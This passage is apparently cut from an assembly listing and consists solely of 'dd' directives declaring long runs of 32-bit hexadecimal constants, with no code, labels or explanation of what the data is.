8FB40804h, 5A4200AEh dd 695B4171h, 217D5C30h, 82BF5F94h, 82CE0485h, 8A209BD4h dd 0BFAD1480h, 46834C30h, 0BC2C7F44h, 84A78024h, 5543DC0Bh dd 0BD009A78h, 53ED6A12h, 91FBEBD3h, 18861174h, 0CD51B05Eh dd 0EE9600C8h, 0BB83A877h, 8B025203h, 0EB252D74h, 49DCFC16h dd 863260E1h, 0D0673C39h, 0D3834018h, 7AD48852h, 130EFC8Ch dd 0E2F623D0h, 0F17BC38Ch, 0B444040Eh, 0FF5C5B44h, 4E5ACC20h dd 0A1B70328h, 35A27AD4h, 0CEC9F780h, 4B888893h, 7F29C34Fh dd 7B4DE900h, 0F5C5A61Ch, 493C02D8h, 0D2390BD9h, 8C759840h dd 0FCB484E6h, 0D4C0BB92h, 6071B478h, 3E8318D0h, 2C807E1Bh dd 0C4BB4CB5h, 8C0DF8h, 0BDEFF16Bh, 3D2D72B0h, 88904B4Fh dd 82AB0784h, 27220844h, 340C03ADh, 894BFF84h, 2E02F801h dd 0A2B06CC9h, 9A5D1FECh, 536A1010h, 48984875h, 468B81D4h dd 68A420FFh, 0B8A703BCh, 994E2350h, 0B124C8h, 107FE2Ah dd 315C1AA7h, 5FECC300h, 91E93AD4h, 2B720C8Dh, 0AF39A112h dd 3C3B4D88h, 0FB4C96EDh, 4F0331Dh, 0C0758427h, 0EA97BA4h dd 50236445h, 55B9C00h, 0C83B6F4Bh, 8219A400h, 8A741E07h dd 58BAEA36h, 2F5BD063h, 0E0923C0h, 0B4D333A0h, 60380A4h dd 3B2E0AEEh, 80C285A7h, 9C8ED794h, 2560A923h, 0B074D592h dd 0A5B3FF6h, 0E4808AB9h, 3C964D3Dh, 0E4992CE2h, 0DAF83600h dd 0CB2701Dh, 0A18850A3h, 7893D580h, 0DC64803Ch, 0DA0383C0h dd 75920421h, 1CE2FDFFh, 0A140E0E8h, 0FEBC410Ah, 9C487CFCh dd 58A8E80Dh, 5569DCDCh, 3890BCB4h, 8D522AEh, 0E3B52027h dd 8A6DB242h, 46746CB8h, 3CA10512h, 7FB4AC5h, 7328C1Fh dd 9854B927h, 85603982h, 11B09F87h, 1CA29394h, 0AB973C00h dd 5F2575CBh, 1C8080BDh, 5EA84309h, 80B4DBBAh, 0D525F7BBh dd 23CB056Dh, 0E47B6F5Dh, 0C0414740h, 0AD8E282Ch, 7E3AF8A0h dd 1F000AE6h, 0E7E5CC0Ch, 25783CDDh, 3441C725h, 4AB82D1Ah dd 22C1709Ah, 0F47C3E56h, 3CF780D1h, 2F7D0BA8h, 3A07671h dd 5EC6F2D7h, 433E0BC0h, 80A435B5h, 0CBE0F14Fh, 0AD01E4BAh dd 0E22D2569h, 887DB1ECh, 23351078h, 6EA41426h, 24171690h dd 0A4FC404Ah, 44A4829Eh, 30AFE844h, 0AD9FBAC0h, 0F6CCE903h dd 0B8357C1Ch, 59938A4h, 5ECFBD67h, 0F1B40BFCh, 209DB029h dd 2B809811h, 9975E84h, 83EEE09Ah, 737C9AA1h, 3094A21Ch dd 0A313C3E8h, 0ECB2FD97h, 0A6230D00h, 6F7D2934h, 17A51500h dd 0CE8CF947h, 3DB301A9h, 61F77606h, 4F3600E4h, 0D01B0BEAh dd 5002C6CFh, 508ECA46h, 7CA7120Eh, 0F7E6B0F4h, 3200AB58h dd 0C77A225h, 3E1D643Eh, 0A89B84DCh, 49E95151h, 1FD4204Ch dd 7093EA02h, 0C45AE42Ah, 0B6F60984h, 7C70D038h, 0CA02BF42h dd 93251773h, 0AE9778DCh, 128138E0h, 0A1631327h, 0E034318Ch dd 3C8383A5h, 4112BE10h, 0C27CBCFDh, 5C206F0Ch, 0F7FF0304h dd 590C955Dh, 189E8817h, 44F91227h, 0C0D89BF8h, 50D35C85h dd 94A24DE8h, 340B4200h, 0F06DFFFAh, 44C9495h, 48F2523h dd 0B3E34468h, 0C82E0140h, 71303CBh, 3C909D60h, 80787F0Eh dd 989E551Fh, 84C31050h, 64C8C595h, 287960BFh, 1D6502C6h dd 869C20A9h, 0B19C0856h, 552060EAh, 732D0281h, 0F5AEB44Dh dd 39473056h, 0F1030548h, 0AD0BC71h, 0DC846311h, 0ABF2E760h dd 305302FBh, 195D2DD8h, 81E6B8D0h, 5A705B5Dh, 0D48B0413h dd 23C2FD88h, 0A891D70Ah, 0AC2F3A58h, 0E301BF23h, 0C608B48Bh dd 8910C27Ah, 5B63DE00h, 0A95D2C99h, 0B179319Eh, 5C207BC8h dd 1353F3FBh, 0D8DF7Ah, 0AD582631h, 0D8A079C7h, 691CD47Eh dd 7680A9D2h, 44FA5E45h, 46850029h, 5C92EDCFh, 6F05EA8Ah dd 205A41E5h, 0B0CC30AFh, 38EA77A4h, 0CB252E09h, 88685414h dd 4207DC47h, 0BAF01F5Bh, 96FEF172h, 7185BA00h, 0A6FAF45h dd 1CE0DC88h, 5E838256h, 4449769Fh, 2F3E45h, 2B009423h dd 2539B4A0h, 214826AAh, 0E689082Ch, 0DCE46A17h, 229803FBh dd 0DFC3652Ah, 64F47FC2h, 116C1D2Fh, 745C8010h, 748FCCFCh dd 74E4BD6Dh, 82511F3Bh, 0F7826362h, 18A0555Fh, 0BFCB3F2h dd 0E5D80E17h, 1D00D8F2h, 27B957CBh, 0DB0E3F82h, 0A75993A9h dd 0E0CF5053h, 6FEFDCBEh, 338913CDh, 0B2080D6h, 30BC881Fh dd 98291784h, 6DF8C00h, 0E09EB828h, 2799A443h, 44E2D329h dd 713BE4C1h, 24427A3Ch, 0E47778B8h, 3D90794h, 46A975DCh dd 2C301998h, 9C12217Eh, 73401E51h, 7419EDA8h, 0F7B010A9h dd 0D99C00E2h, 2BE0D4E4h, 5018FD89h, 1760C91Eh, 14E0B67Dh dd 2A323404h, 0F4F22949h, 4F0044E8h, 6243C311h, 1F1AA185h dd 0C0B1E3FAh, 230F6BCCh, 0E04D6709h, 11D02718h, 210080Ch dd 474CB0DDh, 51E0487Dh, 0ED78A754h, 0ACC2C030h, 0EF016BF9h dd 8F093B98h, 2089CCAAh, 44E677B8h, 4EF71D20h, 573C2037h dd 6D002689h, 3B5E54E5h, 3D35DD7h, 0A4D05C0Bh, 0E1A9D6CCh dd 0FB5BDCB4h, 0AC44B17Fh, 0E51C0074h, 6153CCB8h, 4124025h dd 0AC005875h, 0B72C41A7h, 0E5452B1Ah, 848B2588h, 9FD94059h dd 171DB818h, 0EB41A074h, 0E6FC55B3h, 40A8D030h, 9A4F5D8Ch dd 870DE8D0h, 0E8EC8113h, 0F4818B97h, 84BC2183h, 397A3C80h dd 0C4C7FF2Ah, 6AC80FB5h, 0ED82D850h, 41E6E906h, 3C607740h dd 9794928Bh, 17C3DC4Dh, 7E9588BEh, 0CA233E8Fh, 5D65B13h dd 0D025F3FCh, 192017D4h, 0F044984Ah, 303672Eh, 0C105842Fh dd 3560C709h, 503CEC90h, 2FA4EC8h, 879AF9E8h, 98EDC404h dd 0DA5BF401h, 0C4AFC096h, 0BB27AAD2h, 0C4C1081h, 6D603021h dd 4D7F2D51h, 3591389Ch, 90300316h, 0FC208AF4h, 0CABCA054h dd 38FD39D2h, 9E3E2CB8h, 63938080h, 0E23CC8F3h, 0B46871A3h dd 0FEDC00F4h, 2DCB86BBh, 7E633D1Fh, 0FF1C98A5h, 92F1701Fh dd 768120E0h, 7B705Bh, 0CE75BD00h, 4FFD1049h, 0B7252D12h dd 911640FCh, 80689B03h, 0D9B98CDBh, 5830451h, 0BCE34593h dd 8CBABC84h, 82976400h, 897257BBh, 2C33169h, 2AECB920h dd 8C7B102Eh, 0EFAA3F01h, 46231952h, 0EDB4303Eh, 96276244h dd 0E24091DDh, 40A324F2h, 9DF1FF51h, 8EBD03FDh, 0D6016F7Bh dd 60700AC0h, 7930DC17h, 9A828040h, 9D8EFB6Ch, 1C942446h dd 9D465Eh, 1B55CD13h, 0E28BB9h, 733BDCFFh, 82F465EAh dd 21279493h, 0F70D2D94h, 0BE011468h, 0C2FCD2FFh, 0BB2C2055h dd 0DB14109Fh, 503084A2h, 0B3C5F14Dh, 0F7F22EFBh, 50834B24h dd 0CEDF223Dh, 2B19A40Dh, 59256080h, 0CEBB25E1h, 0F60F84D0h dd 32DB5AB2h, 50D4F0F8h, 98CFDE8h, 0BF91F6D6h, 4403A078h dd 166764F7h, 94B2D5F3h dd 2BA63F00h, 0DD2A9491h, 705ECF25h, 374FFE98h, 0B9BC1144h dd 2661C4C2h, 400B2B3Fh, 6930D6B3h, 0EE22CC5h, 632118BCh dd 0DF8E1D01h, 8BB4FDDBh, 44EC002Eh, 4B95EA42h, 40B4FC52h dd 0BE120EA4h, 48B2FAD9h, 2C30E8F2h, 3C770EC2h, 3980D94Fh dd 0FFF79D4Dh, 10B7B825h, 828252D8h, 0EB406474h, 1B5760h dd 8E37BB99h, 1897E4B8h, 82F2E012h, 7655F4B4h, 0E4735CFBh dd 0B87CB9D3h, 0C6B601E5h, 48D0526Eh, 88086FBEh, 8CC20A14h dd 643B4188h, 0FB39E4E6h, 508EB8BEh, 585890F9h, 9965511h dd 518D4007h, 779D11C8h, 409F8C25h, 9D5DB9ACh, 0FCF2A068h dd 0A5D9A260h, 9704433Eh, 0C9BD88C8h, 3052195Fh, 85810408h dd 5FD62B9Fh, 68F90188h, 0E0E45E44h, 9D4F801Fh, 0FCB944D1h dd 0CA48802h, 778C885Dh, 0A575EDEEh, 0E715C03Bh, 3F582398h dd 8AE3948Ch, 0A94BC3B0h, 486AE00Bh, 0DA7BB0h, 0BFC9614Ah dd 0D3FD7D9Fh, 0A0D1C499h, 60EA8818h, 80D45202h, 60C708F1h dd 822A13F0h, 835F0040h, 0BB092086h, 1EEEF507h, 76E99D24h dd 6837CB84h, 46EA8280h, 0F428EE74h, 80392D01h, 0D78F2890h dd 88BE3E07h, 0C8D1A759h, 442A1F82h, 40D06F28h, 2E77EB69h dd 6C4A2575h, 25161456h, 55F7D422h, 8DE1C64h, 78C8D025h dd 0DCFF49FCh, 802DDC07h, 0F05C1275h, 7A96B60h, 0F28B84BEh dd 5BDC91FEh, 586B7022h, 0E082405h, 2B3A9A2h, 41B75474h dd 0E5A2DC52h, 0AF1C1082h, 0E5A43AF7h, 61BFE478h, 2CCC70E8h dd 249839h, 0C2A5EA52h, 6E933C45h, 90C52EE1h, 0BB23D03Eh dd 997A8500h, 7CCC0D14h, 980E704Bh, 41A24504h, 2158BD8h dd 484655BBh, 85BC04BFh, 420174A6h, 23B05E5Ch, 4EEC3845h dd 0E8A244A3h, 14CC230h, 95F8E13Eh, 0F810AE7Fh, 0FB009CB0h dd 47ADE997h, 0BF7DFAF1h, 9211F09Fh, 0EFBE1182h, 87541AFDh dd 0D28838Ch, 33D9D62Ch, 0C8060030h, 814471E5h, 23735AB3h dd 0B7F1EDA0h, 802C3896h, 5EEE157Eh, 1E69E4AEh, 0C0CFE5A6h dd 0ADCCDC3Ah, 500A926h, 0FC77360Fh, 9D8A2135h, 0C71FD841h dd 671800Dh, 6C47E12Fh, 0CCAA3E70h, 88864E8Ah, 0A2009FB4h dd 5F7560FCh, 7AAAFB0h, 0DB0223B8h, 256F10CBh, 0E8B4CCB4h dd 101C08E2h, 3843F7EDh, 354D382h, 385FB86Ch, 0A6E71881h dd 38497501h, 0DCD29740h, 48822990h, 5D24F9ADh, 673DCCC0h dd 48198128h, 0CB251D1Ch, 9ACD1F7h, 80FE5D82h, 5C40108h dd 0B3AAE9C3h, 0DCFAB208h, 23606068h, 0EB332D2Eh, 0EA76507Dh dd 90AB7763h, 0B2BB5805h, 4CE8D320h, 310FFF81h, 0D0D87FE6h dd 16017403h, 0DFBBC46Ch, 2FF0D840h, 4082B719h, 0C002A9EAh dd 18D31295h, 81A09A27h, 0F7911FDEh, 0C83CCE3Ah, 0FF65C0BEh dd 0D35E91EEh, 7187481Ch, 0E808A05h, 92DC9AAh, 56CBB396h dd 0A4F47300h, 620001D4h, 0F68AC7A6h, 48608279h, 0C0720C6Dh dd 27ED6C20h, 0F9020CEBh, 76D2CEF6h, 0CBE05565h, 5B5B55B7h dd 7AD628D0h, 0B26300B1h, 5A82BAF7h, 83005D6Eh, 0CA61CD09h dd 1F37B6F6h, 0ACB87579h, 0E3093EEAh, 7076D044h, 1914674h dd 0FBB9635Ch, 403A2E03h, 4F44E784h, 0CF0F04ACh, 7EE1B82Bh dd 0E2412D0Eh, 0D581932Fh, 3DD0B895h, 314C90E6h, 0B0089AAEh dd 75B800F9h, 62E9F8CDh, 7E83108Fh, 3B1EF02h, 87E8B9Dh dd 40DC2840h, 0AE403414h, 21B564D8h, 0CA230487h, 4C03104h dd 8004E3D7h, 395304FDh, 6056304h, 327066F4h, 0D0410E11h dd 20492F06h, 0F362BA73h, 29B5089h, 5803C8F8h, 85401072h dd 2A5C10DFh, 10F70910h, 0A1109440h, 73FD1B9Dh, 2A4DA30h dd 0E002AD67h, 0AFA902ABh, 3F6D302h, 8108142h, 0DD10B059h dd 2E1B1085h, 99249919h, 9F6A01DEh, 888DEF01h, 0C028208h dd 0FEA1CD9Ch, 80BF7980h, 6C80C14Bh, 0C64A8022h, 0BE1908D2h dd 0F999E8A8h, 88078977h, 0CBE6261h, 2528655Fh, 0C633A640h dd 49B228C1h, 0E6588C88h, 0B851FF81h, 8A019ABAh, 30D60193h dd 12B8701h, 9A01EE3Ah, 86C7019Ch, 0D11A2103h, 261188EDh dd 55C1DFC4h, 7BCD943Fh, 27686888h, 10942A15h, 9310D7C5h dd 0F0A82AEDh, 6211E120h, 0EA0F5149h, 20A90D06h, 0E82025C0h dd 0B97C631Fh, 3120ACDDh, 217D20C9h, 208F3020h, 0A620EC19h dd 7988FD07h, 0A00C0CB3h, 0C47709DAh, 4F271B0h, 1B0C977Fh dd 0D441E2A1h, 8888061h, 0F5089045h, 968B08EFh, 487DD70Ch dd 5515409Ah, 8E63D8A8h, 807E3780h, 8C471E9h, 991F7F02h dd 2496203Ch, 0A1408594h, 50E1406Ch, 4F542092h, 9B40C1C0h dd 0D416405Ah, 40510940h, 0A868F0EBh, 7088E8B1h, 996D08BFh dd 8BD1308h, 5E19FC67h, 0C051D029h, 41011E85h, 0A50C029Eh dd 0FC4470C4h, 7504E8FDh, 0A9CD04B4h, 9088D608h, 1DC308F7h dd 8893608h, 0B008DE95h, 13640892h, 0E1B2EC1Fh, 7930030Ah dd 9CC4481Ah, 64FC2361h, 69181974h, 2EA6112h, 0C9D8A5B2h dd 0F8589C4Ah, 8082D88h, 0FE19B712h, 0C851B391h, 895C59Eh dd 9A70B44Dh, 90465428h, 862017D6h, 0D340222Ch, 0F3AC857Dh dd 0C0BE0CD3h, 0CFF29C4Fh, 8DEA8610h, 955F009Dh, 0F422890Ah dd 980A2F5Bh, 6800986Ch, 0AE3D8437h, 6B5F2F4Ah, 8B3EC0F9h dd 12F366CDh, 6598601Ch, 0B15200A9h, 189F3826h, 0F113D125h dd 0C0906144h, 0CE80942h, 43FDC41Ah, 291D0DA8h, 78300160h dd 2E2B938Ch, 3343914h, 863D44CDh, 380A6033h, 7A8004BAh dd 0BCA0695Dh, 5F4401A4h, 3068D4A8h, 0B743E1E3h, 0F3600840h dd 0A0789EA9h, 794C61C1h, 0BCE6D0EFh, 85298018h, 6925F445h dd 902C18AEh, 0D26B803Eh, 7B034172h, 20A503Bh, 0E044E3B7h dd 7C30EF6Dh, 1E983AEDh, 0ECE5B800h, 9695A66h, 155881E1h dd 0C1FAA360h, 65A46C41h, 0D029DC01h, 0C8B6E22Ch, 6123C801h dd 443FB843h, 0E4693B4Ch, 1124A0Ch, 0ABFB88h, 0D9C7EF34h dd 0B9018ECAh, 484DCB5h, 0D8CCA75Dh, 0D6230079h, 7619B1EDh dd 8B3F7567h, 0A35D0C6Fh, 78BB58D2h, 18BDF86Ch, 60D3AF69h dd 6A61E0A9h, 0AE78FD98h, 440FD844h, 5DED0123h, 1081E712h dd 0F82CF36Bh, 0FF308755h, 0AB83A388h, 73103009h, 0AADEBC40h dd 0F2C3C240h, 10B8A008h, 5D1A18D0h, 691D0887h, 0E080372Ah dd 1117BB07h, 4D51D9AFh, 8406343h, 127A954h, 0E769CAF8h dd 200B3FD4h, 4E523C04h, 0B12C3D90h, 0E6F58032h, 1050D32Ah dd 0FF057086h, 4BC35E4Ch, 2CC2C8D0h, 3073609Bh, 4484DBB5h dd 77B2602Ch, 78BB7C02h, 6AB88175h, 608AED0Eh, 4B8879B9h dd 0BA1EC01h, 6244CC23h, 8F198300h, 0CC6BFC1Fh, 0DEAF2A5Dh dd 444148B4h, 0F8CE2000h, 451AC42Bh, 0DCFF80CEh, 0A05C56C0h dd 0FE8B0Eh, 15656344h, 7D837B2Ch, 8BB4328h, 0EC035E2Ah dd 0B3EDC600h, 0D6EFFC3h, 0CF6F00FCh, 0D901D16Bh, 350CABD8h dd 0A9F4C6AFh, 0AA912B9h, 0E7F800CDh, 0C325EE08h, 5B597400h dd 0B3AACE6Dh, 0F74E2Ch, 0FE57D134h, 3E745DA8h, 0A57AC1C0h dd 0EEA3B0FBh, 88851E19h, 8E2D00A0h, 0F6B2DEEDh, 0E0ED1092h dd 0BCA4D0F5h, 35100A4Ch, 0BC20283Ch, 0E9B144D4h, 4102E423h dd 78E2895Ch, 226E8A4h, 6019D25Dh, 21B8F04h, 69F0B72Ch dd 0D448DEF2h, 0FE068809h, 0AA915DB3h, 0B6BA0150h, 4DC392EDh dd 30F8A4C7h, 0C27F2180h, 2F9C24BEh, 2400322Bh, 50B7DD7Dh dd 101B1830h, 0C0ACABDEh, 83EDBEC9h, 2C18A261h, 79B890F4h dd 0E3EC0Bh, 5C9277CAh dd 3D28B69h, 70CF6024h, 73413B80h, 3BAAC5C8h, 0C40BB844h dd 0E8007A47h, 8296D346h, 677C0901h, 2D08A11Bh, 23CBB080h dd 0EB5DBD6Fh, 8348E360h, 2B5A769h, 47DA8FCEh, 204074B1h dd 0CA0777FEh, 866B3B73h, 78FB0AD3h, 840FF62h, 50855DBBh dd 29449C41h, 80B4CFB0h, 948896FEh, 270DA177h, 28247C60h dd 0B8CCF0h, 0DE013F62h, 849C5ADBh, 0FCD7FD1Fh, 822D6349h dd 90E8F524h, 1CD902ECh, 8067B28Ch, 0ECE7B11Dh, 0EA1254B5h dd 0C444053Ah, 68D0AAB8h, 0E8524CFEh, 0E76A1396h, 0C73444DAh dd 84A84953h, 60FC7D1Ch, 0B8D0CE30h, 890D6818h, 294D31A9h dd 489D4044h, 0B6B43840h, 0D19F0405h, 0C07402C3h, 0D02C0F30h dd 4C72B200h, 0C7F454BBh, 82883BC1h, 0F14200F5h, 9724EA20h dd 11C1CDAAh, 6B31C34Bh, 10044087h, 12A78379h, 6F41000h dd 0F09880B8h, 50E500F5h, 0C48EEA60h, 9C00BA44h, 835D7C3Fh dd 0F5A566h, 8F5B0BCFh, 9DDF02A3h, 0EBB91D03h, 1384045Dh dd 43EDA6B9h, 3F3A2C90h, 52D3E000h, 5ECBD209h, 79A80EE8h dd 1AC22012h, 88D677BCh, 3444C13Ah, 58217889h, 90218808h dd 0C3D20C28h, 0AA209F70h, 0F9CED300h, 723CE243h, 0DC783069h dd 4286CD38h, 0E812EA7Ah, 60F03BC3h, 54A97EF9h, 3D90B856h dd 0A80E08A3h, 0EF20F504h, 8089E1E8h, 4FD70103h, 0E8814088h dd 0BF2D3CEh, 0F0695257h, 0B94E2C60h, 21EFA809h, 0A2D82EC3h dd 68016A85h, 62DDA904h, 55DB886h, 9AFBC48h, 8192590Fh dd 4640618Eh, 0FBD434F1h, 24CF7962h, 27585519h, 88FDF040h dd 82C78A06h, 1071AE80h, 7F2556Ah, 83853AECh, 18BD5DB1h dd 9A8138BBh, 0AC3C7A1h, 82F087FEh, 6A211AA5h, 0C06039D0h dd 489F08h, 0E501CE75h, 0D2880A9Eh, 9A711AFDh, 8B05B011h dd 70F80C01h, 8409B60h, 8B00B68Eh, 5CA69FA9h, 2C18A0FDh dd 6C10719Dh, 2B0204EBh, 0C3758CE3h, 0D1E00CAEh, 0FC000921h dd 0FB904EC1h, 0C22B972Ch, 0E7BA7530h, 0F4110CC2h, 7078D252h dd 80A00C32h, 0FE28C8FBh, 24925D2Ch, 0E09070h, 0FD39071Bh dd 0E5C32064h, 0ECA8A093h, 5E295D14h, 3541790h, 44C81C30h dd 208D4D1Ah, 0F126D44Ch, 600E61ECh, 102CE7C9h, 2C4875h dd 26BD7E43h, 8670DB60h, 28F2EC5Dh, 0B071D4B0h, 6DF0B181h dd 6892E5h, 0CE2E8C9Fh, 5CC72CBFh, 0E0FEF8CEh, 3E60D20Ah dd 9129C0E4h, 8CBED79Bh, 0CC584403h, 4EF8320h, 0E3C52C18h dd 788883A8h, 61C64C81h, 5B8820E0h, 20C1C820h, 6A145132h dd 2E94216Bh, 831FA44Eh, 10C308F7h, 0BEA002C4h, 0D01C5FDh dd 0FCA20844h, 5CB828C6h, 10A4F637h, 83AFBED2h, 0E11543ACh dd 0C850A757h, 5448008h, 0C7B55A07h, 52901683h, 84A808B0h dd 3400D845h, 1FA398FDh, 29C319B4h, 21D4208Ch, 41B3D940h dd 400658A8h, 290161D8h, 5FAA3400h, 8FC9F555h, 2D45FCC3h dd 860A369h, 0F909ADB4h, 8B05F4AEh, 0E800C068h, 0FBF0C072h dd 6AB05D04h, 8883AB4Eh, 8E70F002h, 0D0DE129Ch, 141453B3h dd 530062E0h, 956BBC5h, 0B0B9F82Eh, 0AD686A86h, 4D29EE40h dd 3858A085h, 7300903Bh, 9ADDC8F3h, 3C91C41Eh, 0AB27DE04h dd 5E0E4CDh, 0F47C1FD0h, 0E038AC2Dh, 629DA9F2h, 0CD473909h dd 5D9C018Bh, 518F3D4Ah, 0CB40A798h, 84A3A9E8h, 0D760874Ch dd 0C3755C90h, 27AF2869h, 0B5A23C8Ch, 97A99004h, 0A0D49077h dd 0C0C4C2A3h, 94814EFFh, 0C71D6Ah, 3B70C430h, 7DA9C44h dd 0FBA10814h, 0DCA504D4h, 64A424A9h, 3070604Ch, 4EBA41C2h dd 4B602B75h, 0A3A52560h, 887A179Eh, 0B98C050Ch, 1558D183h dd 598701DBh, 0BCFCFB31h, 0A6D533DCh, 16BCE521h, 103C7A14h dd 2124241h, 99503510h, 0C84C21BCh, 640141CBh, 7D2F47BBh dd 15E04D3Ch, 1C874CC1h, 14D02E24h, 0B400B4F7h, 1BF4DBFDh dd 0B91FAC23h, 0F9FAF5E4h, 829C1001h, 5B55CF34h, 1192B428h dd 3772B4B0h, 0C0D04E69h, 2A16204h, 38D4D54Ah, 0E9A62480h dd 0FC590038h, 695E4794h, 20C5FA76h, 0EC80FFAFh, 0A0142B2Ch dd 1779B194h, 4672BE0Eh, 0D9445D84h, 791C3B48h, 0ECC25800h dd 0ADFFFACCh, 815D39A1h, 0E51C884Ch, 3161932Ch, 21D3BDBCh dd 125C0544h, 1840D688h, 0F621CB07h, 512044BEh, 0F87D451Eh dd 93D1F97h, 43C40103h, 30733EC3h, 5A0146F0h, 2CE22517h dd 48818B5Ch, 0F69CA2Ah, 4C80401Ch, 81015346h, 4225D6D9h dd 0FC4327D0h, 6872822Ch, 0ED69CBE8h, 34553838h, 0C7C4D811h dd 0ED6800F3h, 0EF880176h, 0A0B10CA7h, 602F0A82h, 0C47E49h dd 0EA39D50Fh, 0B300F845h, 16B935B0h, 17B78FC6h, 340C4EEh dd 0A4AC7C9Fh, 0D9C3F2C8h, 0EF8C609Dh, 0B1326CDCh, 0DB206A68h dd 0B4BF00E3h, 1EEE1385h, 430E80B2h, 0A2ECA96Bh, 0FE1DC3E4h dd 30021384h, 0C9F15D8Ch, 0D455780h, 0A14CCD5Ah, 0C7E7E048h dd 0EA6BED00h, 0F121F340h, 0E3F500BCh, 6707A32Dh, 2E180301h dd 0C3188D6Ch, 3A3679F6h, 822E0951h, 82B990F8h, 0C8A29183h dd 5846E4CCh, 0C617C82Dh, 7A100A23h, 8B440848h, 0D2015907h dd 17CBC89Ch, 0E8B575h, 0A0F655D8h, 7414BBD4h, 1086243h dd 0E59A6B3Bh, 0C6F8BFA3h, 918803F4h, 0E82A556h, 0B1E8A893h dd 8D58DCFDh, 0B54E87F4h, 8168C8C9h, 0A2F87E0Eh, 8D84811Ch dd 73ECB059h, 6C6A158Ch, 0CE0EE80Ah, 0C8120C9Ch, 8403B78h dd 0C9883h, 0C0E3FEC8h, 2FF7B7Fh, 0A17C9800h, 0AE50F5ACh dd 6B780EC9h, 93265D72h, 0B11E383Fh, 375D8A80h, 6ADC81E5h dd 0C8332175h, 24B84127h, 2D264E94h, 0EFE2B8A6h, 2CDCE875h dd 5D4BA8Dh, 2D71DD6Bh, 0E6580F8h, 6912C69Eh, 24022E1Dh dd 72A8FBBBh, 40A8B010h, 4D00D96Bh, 9FA64B77h, 9E476937h dd 853181B4h, 3CDAC8EFh, 560E9EBCh, 0A7E520D1h, 9AFDC7h dd 0D2A3A6E2h, 0E4726027h, 0F8C209Fh, 25C244DBh, 68D0DC8Bh dd 82F8C600h, 516BC8AFh, 0CBF53C12h, 8D60418Fh, 845DBEE2h dd 2909E8FEh, 0FB1988CFh, 0B0F81025h, 0F0C9953Ch, 0B065DEE9h dd 8121DE0Dh, 0C3CA7183h, 28045C54h, 791CA9FBh, 2C089CF2h dd 6B078428h, 7A2001D3h, 504A224h, 0BFF9EF20h, 0C80E873h dd 58C60B5Dh, 0B34C3C21h, 98896034h, 0BE484E5Ch, 10004D34h dd 0EC449DFEh, 298B0B9h, 23096BCDh, 0D459FBF8h, 5600314h dd 0AD36C3C5h, 2E60CCh, 0E4F9EDAEh, 0B7222B26h, 3105B492h dd 0ABCD68A6h, 40A55088h, 92A2D1DFh, 0B8E39462h, 0D44B37B2h dd 5281B812h, 31A84450h, 47D9D0CDh, 330C30h, 43141008h dd 36B49944h, 1026FF0h, 3E54DC0Fh, 0E228E0C5h, 0A67101EDh dd 58602B82h, 0F19080FCh, 0B1AAB44Eh, 73100088h, 7B3042E8h dd 0ED006056h, 41D1EAF6h, 902DE63h, 98FCABD2h, 0EA1A802h dd 0F898C309h, 3AF0EADDh, 0B2D59DAh, 0A4E07809h, 9760EC6Ah dd 0AA5DA510h, 8738D307h, 88E18570h, 0B2006F40h, 4BF4B1Ch dd 586AA166h, 0E4487C38h, 36B099Eh, 0BC58ECB2h, 0B6F2F600h dd 4C1CF16Ch, 0F0AD1E67h, 0C9F1335h, 0CD68BA00h, 31693B00h dd 0B32101D0h, 2490F5h, 0C8DD13A5h, 6EFFC9BBh, 5B79A900h dd 3B77D741h, 36F739Dh, 6094B020h, 50A2F95Fh, 0EC64E842h dd 0C347EC04h, 688A869Dh, 80AA8850h, 945D0144h, 1A98051Ch dd 0F48C963Ch, 0E089CF3h, 30389E5Dh, 0BF3AEAFEh, 4CC80FAh dd 3EA0A75Fh, 88202460h, 0E08D89A0h, 0A9FA1800h, 8C9180C8h dd 6B5B4C82h, 1607159h dd 19BD5CBBh, 4375D4E0h, 53086350h, 0EC1EA0Bh, 5A5411BCh dd 44C41C40h, 12F47C53h, 80E1C357h, 603A8294h, 58E03654h dd 4460E86Bh, 0CE9822A4h, 0F30078B2h, 0BF953106h, 753C3781h dd 0E0EF0043h, 0C34ADABEh, 0C8B050D8h, 32C4201h, 472B4F8Bh dd 2F5DFC64h, 64189E16h, 0E93CC0F6h, 64035A4Eh, 1DB712C4h dd 76C1F970h, 655AA060h, 77BB1807h, 6A7C82C9h, 2CFCDCA4h dd 41530F38h, 1AC37C61h, 0B480A880h, 4EA6018h, 98448CD8h dd 69550BDCh, 0E4291BF7h, 7FDBC02h, 30246071h, 3F48442h dd 26836963h, 60183026h, 95B2038h, 0E405F846h, 10B44C80h dd 3B7C54CFh, 0DB2B9E0Bh, 0FBC0C059h, 0EAF7E663h, 62032C87h dd 25DD0070h, 1D60F338h, 0A2FBD104h, 6CB0F45Dh, 9F9401FDh dd 0D017F13h, 47DAF86Dh, 318F5D18h, 952FFC8h, 97C8A86h dd 1FA5F803h, 2C7CDCE4h, 406B5424h, 2493DE88h, 98FF8078h dd 0C7FDC0A3h, 9D7707E0h, 6BBAFA07h, 0CE2001DAh, 2C9CF7Dh dd 388BB2F5h, 38601C58h, 1B4C8626h, 0AE871858h, 5AFD5350h dd 0A838B0C2h, 0A5A304C0h, 92D09CDEh, 0B6B53168h, 7CC25C90h dd 0D3E405A8h, 0F4000CA0h, 602A0957h, 0C41825F0h, 10BC98A8h dd 6A2426C5h, 0E4B2393Bh, 0A0C8B0B8h, 2B030107h, 1D1E5F56h dd 0CE806CB4h, 0A28E49F7h, 41215350h, 5863FC00h, 8C0FD2Ch dd 44091E54h, 627412BCh, 6A88A18Ch, 0B424ECEBh, 2510A1BEh dd 0AF5DB040h, 77B0C056h, 0B939FE3Dh, 0A5526A18h, 39329E30h dd 1A0CD285h, 81D0C676h, 49D00654h, 1432B605h, 0DCC08CB7h dd 178D8886h, 1344F299h, 5C1C0F38h, 0C52CFFC1h, 0DC947B8Fh dd 44048C13h, 0FA02CDDBh, 0C060094Ah, 0DE8389D7h, 17EF0B40h dd 0F468B930h, 0E8BCBBF3h, 660E0262h, 0E33C2064h, 0CC97FB1Eh dd 38C0E913h, 9AEC6967h, 62442FD0h, 0A072DC12h, 3CA26A12h dd 0A002BC52h, 617631A1h, 8876BB54h, 84788A2Dh, 155AC20h dd 6B125988h, 347EE269h, 51395A50h, 0A7D10047h, 4D6E44D9h dd 30D001E5h, 0AF2B9CBCh, 24642111h, 6601C4CCh, 5DBFFF5Ah dd 0CC52EF0Ch, 7120296h, 3288A40Fh, 41D76080h, 0AACD006Bh dd 6C84CFDEh, 0BE4EBA44h, 69561401h, 0DC528F4Ah, 58307202h dd 24560424h, 0A07C7Eh, 0C3B3C711h, 0ADB4FD5Dh, 